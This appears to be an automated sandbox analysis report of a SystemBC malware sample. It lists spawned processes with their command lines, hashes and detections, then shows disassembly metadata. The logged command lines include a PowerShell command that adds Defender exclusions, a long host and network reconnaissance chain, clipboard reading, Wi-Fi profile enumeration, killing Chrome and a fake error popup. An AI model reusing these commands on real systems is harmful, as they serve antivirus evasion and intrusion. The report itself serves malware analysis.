Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	17:09:32
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	17:09:32
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe
Wow64 process (32bit):	false
Commandline:	work.exe -priverdD
Imagebase:	0x7ff702b90000
File size:	464'808 bytes
MD5 hash:	405B7FBE8C0ED98620064F0CD80F24C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 0000002C.00000003.2085711732.0000018E8C626000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	17:09:33
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('%error_message%', 0, 'System Error', 0+16);close()""
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	17:09:33
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	17:09:33
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	17:09:33
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	17:09:34
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe"
Imagebase:	0x400000
File size:	16'384 bytes
MD5 hash:	C661A77C31F83C413A96B5537AD31989
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000031.00000002.2105482981.0000000000401000.00000020.00000001.01000000.0000003A.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000031.00000000.2092244834.0000000000401000.00000020.00000001.01000000.0000003A.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	17:09:34
Start date:	04/06/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /F /IM chrome.exe
Imagebase:	0x7ff717070000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	17:09:35
Start date:	04/06/2024
Path:	C:\ProgramData\okili\peombdb.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\okili\peombdb.exe start2
Imagebase:	0x400000
File size:	16'384 bytes
MD5 hash:	C661A77C31F83C413A96B5537AD31989
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000033.00000000.2106860496.0000000000401000.00000020.00000001.01000000.0000003B.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000033.00000002.2753516190.0000000000401000.00000020.00000001.01000000.0000003B.sdmp, Author: Joe Security Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: C:\ProgramData\okili\peombdb.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	17:09:37
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000014001\services64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1000014001\services64.exe"
Imagebase:	0x7ff753410000
File size:	17'697'280 bytes
MD5 hash:	C8A50A6F1F73DF72DE866F6131346E69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	17:09:39
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7de540000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	17:09:39
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	17:09:39
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "chcp"
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	17:09:39
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "chcp"
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	17:09:39
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	17:09:39
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	17:09:39
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	17:09:39
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	17:09:40
Start date:	04/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Get-Clipboard
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	17:09:40
Start date:	04/06/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff6e9430000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	17:09:40
Start date:	04/06/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff777450000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	17:09:40
Start date:	04/06/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff6e9430000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	17:09:40
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	17:09:41
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	17:09:42
Start date:	04/06/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff694c90000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	17:09:43
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	17:09:43
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	17:09:45
Start date:	04/06/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff7182f0000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	17:09:47
Start date:	04/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	17:09:47
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 04CC0B99 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554408392.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_DPqKF5vqpe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f12d5789e1d0793b78510d63fd0b1f1202dbebaf7c712f6f550b016f7011bf87
Instruction ID: 00d7ac26b4dd0d949a37afe3e2f523a8985198c2a62932286fda68ac2887542d
Opcode Fuzzy Hash: f12d5789e1d0793b78510d63fd0b1f1202dbebaf7c712f6f550b016f7011bf87
Instruction Fuzzy Hash: 1B1156E634A111FD9A4649E39759AF62F2FF6C2330734881EF04785802F3A16A95B163

Function 04CC0BA7 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554408392.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_DPqKF5vqpe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1bc430e0f8fd270faf018ba6bf54e28087e63e9a6eb17e6545fa52a841a26b
Instruction ID: 49ed4dacad691cca8a88e1fd624925b1ebce3603c1832fbce90c17d0fe829be7
Opcode Fuzzy Hash: 7c1bc430e0f8fd270faf018ba6bf54e28087e63e9a6eb17e6545fa52a841a26b
Instruction Fuzzy Hash: B80145E334E020EC964685D323986F62F5BB692331334481EF043C8902F3A8678A7173

Function 04CC0BBF Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554408392.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_DPqKF5vqpe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed5acb3edf91bcf95cbbac328cac3bf1b5625edfb398f608cd2f29e50ec67ec
Instruction ID: a6ade3ac8e16f8afc61ef46bf260ad680225695224c8f761ac6d3213b4937140
Opcode Fuzzy Hash: bed5acb3edf91bcf95cbbac328cac3bf1b5625edfb398f608cd2f29e50ec67ec
Instruction Fuzzy Hash: AE017BE734E110F8964645E363495F26F5FB693331734482FF053C4D01F2A42699B163

Function 04CC0BDF Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554408392.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_DPqKF5vqpe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79bd7bf6e17f541611b937fff86744cad92dab10bd2be86444188946c7400d2b
Instruction ID: 4c79ebfcd8df8390c72342278cf679b6a0d387140abab969f455f34735470075
Opcode Fuzzy Hash: 79bd7bf6e17f541611b937fff86744cad92dab10bd2be86444188946c7400d2b
Instruction Fuzzy Hash: C00199F230A221DA975559F3438D0727B9BBA13330338452EF0938A852F7A47689B113

Function 04CC0C08 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554408392.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_DPqKF5vqpe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd7e95c7f36f7ebcb66a228f20fed0d3ead8d6f223e4a5ef906bc005ab8b8776
Instruction ID: bacdc6f74bc760010fcfece22473cc33330f9481a99b19e867115a47c61ec7b7
Opcode Fuzzy Hash: bd7e95c7f36f7ebcb66a228f20fed0d3ead8d6f223e4a5ef906bc005ab8b8776
Instruction Fuzzy Hash: CFF059E234B120E8564505E3534D2B36E4FB613331734451FF05388D11F69426997563

Function 04CC0C18 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554408392.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_DPqKF5vqpe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b212dfccc6b6501f55cc7d4f8b528b588a33f5afbe79e88ef80ec671284a9043
Instruction ID: 26e1e002bb70c7e99633df8e8363332691222fdd120ba85f979172261c099dd0
Opcode Fuzzy Hash: b212dfccc6b6501f55cc7d4f8b528b588a33f5afbe79e88ef80ec671284a9043
Instruction Fuzzy Hash: 92F059E230A121E89A4A0AE3934D1737E1FB613335338492EF083C4D02F6A426957563

Function 04CC0C38 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554408392.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_DPqKF5vqpe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdf3ce7694c5792399768589c1ac8656ea394e00416e2b1ac918bffe2f461013
Instruction ID: cfc149403cf0d4e5e0a1471f8d61c2c6280bf9cea0d7b67f3060ca2a57afe65b
Opcode Fuzzy Hash: bdf3ce7694c5792399768589c1ac8656ea394e00416e2b1ac918bffe2f461013
Instruction Fuzzy Hash: F4F020E624B521E9994112E3A60A2F72B1F3722335724491AF09789982F7A4228AB023

Function 04CC0CB8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554408392.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_DPqKF5vqpe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e252990dc54fd001e07ced580a2287cf4f3e5836c8f395e292d56adf0c37dcf2
Instruction ID: 733a437176afef178587fad4b5cd304f95bd0ac5b4aa71e899de391222857ebd
Opcode Fuzzy Hash: e252990dc54fd001e07ced580a2287cf4f3e5836c8f395e292d56adf0c37dcf2
Instruction Fuzzy Hash: 1DF05CD2647120D8CA0154E357096B37F5F7351371734491FF0A388901F594624E7263

Non-executed Functions

Function 04CC01B5 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554408392.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_DPqKF5vqpe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a49ba49f5be7d132dfa3a50bd3e93c4a67d1e15f8461f0f7db9681dd396217b
Instruction ID: a3d2153de3a1afb8e01bf77e595078c7b650d53145f0f365516a0ee9f850e791
Opcode Fuzzy Hash: 6a49ba49f5be7d132dfa3a50bd3e93c4a67d1e15f8461f0f7db9681dd396217b
Instruction Fuzzy Hash: F041B0FB30D261BEB10280C73B64AFB6B5ED6D6730739846FF406CB506E285194A61B1

Analysis Process: axplong.exePID: 3932, Parent PID: 4860COMMON

Execution Graph

Execution Coverage:	11.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	1865
Total number of Limit Nodes:	44

Executed Functions

Function 0089BD30 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(008E8D18,00000000,00000000,00000000,00000000), ref: 0089BDBD
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0089BDE0
HttpOpenRequestA.WININET(?,00000000), ref: 0089BE2A
HttpSendRequestA.WININET(?,00000000), ref: 0089BEEB
InternetReadFile.WININET(?,?,000003FF,?), ref: 0089BF9D
InternetCloseHandle.WININET(?), ref: 0089C077
InternetCloseHandle.WININET(?), ref: 0089C07F
InternetCloseHandle.WININET(?), ref: 0089C087

Strings

stoi argument out of range, xrefs: 0089E3CA
invalid stoi argument, xrefs: 0089E3D4
9wGTaLGWQy9=, xrefs: 0089C355
StYMTE==, xrefs: 0089BE03
SbKm, xrefs: 0089D4E6
9wGTaHilQw==, xrefs: 0089C2BB, 0089C513

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 9wGTaHilQw==$9wGTaLGWQy9=$SbKm$StYMTE==$invalid stoi argument$stoi argument out of range
API String ID: 688256393-230317815
Opcode ID: 9bb11ab46ea14a06677160e2fecdbb3726d923148120c477c3c9d0db5b6cdf4e
Instruction ID: be5d273c2650ed808d1426fdb0c4a57fd780904a0cbebcd72ad6edea8f44bdaa
Opcode Fuzzy Hash: 9bb11ab46ea14a06677160e2fecdbb3726d923148120c477c3c9d0db5b6cdf4e
Instruction Fuzzy Hash: 2AB1C0B1A001189BEF28DF28CC85BAEBB79FF45304F5441A8F509D7292DB759AC0CB95

Function 008AD2E8 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 008923BE

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 9779b73e60aec69d04bbc2d7e9e414aba87da566aee514eb1efeb1b4b506eaee
Instruction ID: 168f1dc253b617570cd9df655b913d8144f0abc7e6c4da85dcd5832e7074a986
Opcode Fuzzy Hash: 9779b73e60aec69d04bbc2d7e9e414aba87da566aee514eb1efeb1b4b506eaee
Instruction Fuzzy Hash: FF51A1B1E01705CBEB19CF68E881BADBBF4FB49314F24852AD416EBA90D774D950CB60

Function 008A3520 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 008A422F

Part of subcall function 008A7840: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 008A792C
Part of subcall function 008A7840: __Cnd_destroy_in_situ.LIBCPMT ref: 008A7938
Part of subcall function 008A7840: __Mtx_destroy_in_situ.LIBCPMT ref: 008A7941

Strings

246122658369, xrefs: 0089F617, 0089F8F4, 008A04C7, 008A087A, 008A1E75, 008A27BE, 008A2A13, 008A2A80, 008A2E58, 008A3343, 008A33A4, 008A4F0A, 008A4F1D, 008A4F5F, 008A4F69, 008A54C4
Wb Z, xrefs: 008A5417
bLTZ, xrefs: 008A539C
aSF2aA==, xrefs: 008A46E2
9LFZ, xrefs: 008A54D2
bcBZ, xrefs: 008A54AB
aRFZ, xrefs: 008A5467
NvF+, xrefs: 008A478D, 008A48BC, 008A4AAC, 008A4BDB
Xvml, xrefs: 008A3BA9
wNZ, xrefs: 008A5321
WMNZ, xrefs: 008A534A
e76b71, xrefs: 0089FA6E, 008A5459
WMxZ, xrefs: 008A53EE
5120, xrefs: 008A3A8F, 008A3B7A
